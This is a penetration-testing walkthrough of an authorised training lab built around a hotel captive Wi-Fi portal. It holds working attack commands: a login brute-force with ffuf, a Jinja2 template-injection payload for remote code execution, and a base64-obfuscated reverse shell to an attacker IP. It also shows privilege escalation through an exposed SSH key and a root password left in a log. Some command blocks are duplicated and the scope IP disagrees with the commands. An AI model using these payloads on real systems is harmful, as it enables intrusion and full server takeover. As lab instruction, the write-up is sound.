August 24, 2026
This is an authorized training lab walkthrough exercise — for educational purposes only.
Introduction

By Nodens
6 min read
This is an authorized training lab walkthrough exercise — for educational purposes only. Do not use these techniques against systems without explicit permission.
Introduction
Casino is a HackSmarter penetration testing lab based around a company's captive Wi-Fi portal. The objective is to enumerate the target machine, identify and exploit security vulnerabilities, gain an initial foothold and ultimately escalate privileges to root.
The walkthrough documents the method used while working through the machine, including the reasoning behind each stage and the weaknesses found along the way.
Scope
The assessment was restricted to the authorised Casino lab environment.
Target machine: 19.1.164.59
Testing System: Kali Linux
All testing was carried out against the designated HackSmarter training environment.
Reconnaissance & Enumeration
The initial service scan was carried out against the target to identify commonly exposed services.
nmap -Pn -sV --top-ports 100 10.1.164.59nmap -Pn -sV --top-ports 100 10.1.164.59The scan responded successfully with two services identified:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open http Werkzeug httpd 3.1.8 (Python 3.10.18)PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open http Werkzeug httpd 3.1.8 (Python 3.10.18)The HTTP service was of particular interest due to the Werkzeug indicating that the application was Python-based. I proceeded to investigate the HTTP service further.
Inspect the Web Application
http://10.1.164.59http://10.1.164.59Our first job is to simply inspect the HTTP.
The HTTP service on port 80 presented a Guest Wi-Fi Authentication portal.
The portal required two values to authenticate:
- A room number
- The guests last name
Room numbers typically follow a predictable numerical format, suggesting that the mechanism could be enumerated if paired with a guest name/surname.
I attempted a deliberate invalid credentials to establish how the application would respond.
The application responded with the following message: Authentication failed. No active reservation matching room and last name.
I then generated a list of potential room numbers from 101- 304, the resulting file was checked using head rooms.
┌──(kali㉿kali)-[~]
└─$ seq 101 304 > rooms
head rooms
101
102
103
104
105
106
107
108
109
110┌──(kali㉿kali)-[~]
└─$ seq 101 304 > rooms
head rooms
101
102
103
104
105
106
107
108
109
110the file head room confirmed the first 10 entries. The next step is to use the file as one of the input wordlists against the lab captive portal.
Brute-Force the Captive Portal
The portal required a valid room number and guest username. I generated a list and then used ffuf with two wordlists: my generated room number list and the SecLists xato-net-10-million-usernames.txt list. The ROOMS and FUZZ keywords allowed both form parameters to be tested:
┌──(kali㉿kali)-[~]
└─$ ffuf -X POST \
-u <http://10.1.164.59/login> \
-w ./rooms:ROOMS \
-w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'room_number=ROOMS&last_name=FUZZ' \
-fr 'Authentication failed. No active reservation matching room and last name.'┌──(kali㉿kali)-[~]
└─$ ffuf -X POST \
-u <http://10.1.164.59/login> \
-w ./rooms:ROOMS \
-w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'room_number=ROOMS&last_name=FUZZ' \
-fr 'Authentication failed. No active reservation matching room and last name.'Using the -fr option filtered responses with the standard failure message, this made responses that behaved differently much easier to find.
The attack successfully found several valid room-numbers and surnames combinations:
The output proved that the portal did not have sufficient protection against automated authentication attempts.
I decided to exit the processing of the large wordlist as I had obtained several valid credential combinations. I selected Martin / room 194 combination and continued testing the authenticated application.
After authentication I was redirected to the guest dashboard and logged in as Karen Martin confirming the credentials found provided access to the application.
Application Fingerprinting
After gaining authentication access I used Burp Suite to inspect the application's HTTP responses to identify the underlying technology.
I selected the /dashboard to inspect the response:
The response header revealed the following:
The header output shows that we are dealing with a Python web stack.
Server: Werkzeug/3.1.8 Python/3.10.18Server: Werkzeug/3.1.8 Python/3.10.18Identifying Server-Side Template Injection (SSTI)
Whilst exploring the website, I noticed that the Profile & Wifi Setting page reflected back the Name/ Nickname value within the dashboard.
To find out whether the application was simply showing the supplied value or processing it through a template engine, I entered a basic arithmetic expression:
{{7*7}}{{7*7}}After saving the change the dashboard confirmed a SSTI vulnerability by displaying 49:
The second fingerprint test was performed using {{7*'7'}} it rendered 7777777 a behaviour consistent with jinja2 and allowing the underlying template engine to be identified.
Escalating SSTI to Remote Code Execution
Now that Jinja2 was confirmed the next step was to move from template evaluation to arbitrary code execution.
Using the request object exposed within the Flask template context, I was able to retrieve the applications global namespace and from there Python's built-ins:
curl -s -b cookies.txt -X POST <http://10.1.164.59/profile> \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "display_name={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}" -icurl -s -b cookies.txt -X POST <http://10.1.164.59/profile> \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "display_name={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}" -i
The application reflected the output of the id command directly into the "Welcome Back" banner on the profile page, confirming remote code execution as the www-data user:
uid=33(www-data) gid=33(www-data) groups=33(www-data)uid=33(www-data) gid=33(www-data) groups=33(www-data)Shell as www-data
I created a reverse shell through the same STTI vector, allowing me to move beyond one-off command execution:
nc -lvnp 4444
curl -s -b cookies.txt -X POST <http://10.1.164.59/profile> \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "display_name={{request.application.__globals__.__builtins__.__import__('os').popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDAuODQuNDUvNDQ0NCAwPiYx | base64 -d | bash').read()}}" -inc -lvnp 4444
curl -s -b cookies.txt -X POST <http://10.1.164.59/profile> \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "display_name={{request.application.__globals__.__builtins__.__import__('os').popen('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDAuODQuNDUvNDQ0NCAwPiYx | base64 -d | bash').read()}}" -iThis returned the interactive connection as www-data:
Privilege Escalation to george — Exposed SSH Private Key
Both /home/george and /home/david were world-readable. Inside george's home directory, user.txt was accessible, and ssh/id_rsa had permissions -rw-r--r-- (644) instead of the required 600, allowing george key to be readable:
cat /home/george/user.txt
ls -la /home/george/.ssh/cat /home/george/user.txt
ls -la /home/george/.ssh/The user.txt flag output:
The key was used to authenticate directly as george, avoiding dependency on the reverse shell:
ssh -i george_id_rsa -p 2222 george@10.1.164.59ssh -i george_id_rsa -p 2222 george@10.1.164.59Note: Attempting connection on port 22 failed with Permission denied (publickey) . A further scan confirmed a second SSH service on port 2222, which was missed initially --top-ports 100 scan, the second SSH instance belonged to the containerised application environment where george's account resides.
The successful SSH login banner as george on port 2222:
Privilege Escalation to root
David's group membership included adm, which grants read access to logs on Debian/Ubuntu, and logs which are not meant to hold secrets:
id
cat /var/log/provisioning.logid
cat /var/log/provisioning.logThe provisioning log contained a plaintext root credential written during automated deployment:
[DEBUG] Saved system root sync credential: R3s0rt_Sup3r_S3cr3t_R00t_2026![DEBUG] Saved system root sync credential: R3s0rt_Sup3r_S3cr3t_R00t_2026!This was used to compromise the host:
su root
cat /root/root.txtsu root
cat /root/root.txtThe id showing adm group membership:
The provisioning.log excerpt with the credentials:
Finally, the su root prompt and root.txt flag ouptut:
Recommendation
- Fix input validation (don't allow user input template rendering (SSTI), or expose data through unauthenticated API endpoints.
- Lock down auth (don't rely on room number + surname as the only auth factor).
- Fix permissions (
600for SSH private keys, check for world-readable). - Kill credential reuse.
- Don't log secrets (root password found in provisioning.log, and restrict
admgroup log access).
Conclusion
A vulnerable input validation flaw in the Flask app — SSTI in the profile name field — was enough to escalate from anonymous guest to root. All other escalation steps after the initial entry was caused by the same root problem: secrets kept where they shouldn't be stored. This lab highlights how a small hygiene failure can compound into full system compromise.